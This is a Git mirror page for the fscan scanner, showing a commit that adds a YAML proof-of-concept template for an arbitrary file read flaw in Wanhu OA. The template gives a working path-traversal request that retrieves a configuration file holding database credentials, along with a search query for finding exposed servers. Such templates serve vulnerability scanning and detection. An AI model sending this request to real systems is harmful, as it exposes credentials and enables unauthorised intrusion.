archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 21:21:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: add curated internal network pocs

Browse Source
This commit is contained in:
ZacharyZcR
2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
webscan/pocs/wanhu-oa-downloadservlet-file-read.yaml
+19
View File
@@ -0,0 +1,19 @@
id: wanhu-oa-downloadservlet-fileread
info:
name: 万户OA DownloadServlet 任意文件读取漏洞
author: zan8in
severity: high
description: |
万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息
fofa: app="万户网络-ezOFFICE"
tags: wanhu,download,servlet,fileread
created: 2025/03/13
rules:
r0:
request:
method: GET
path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2
expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url')
expression: r0()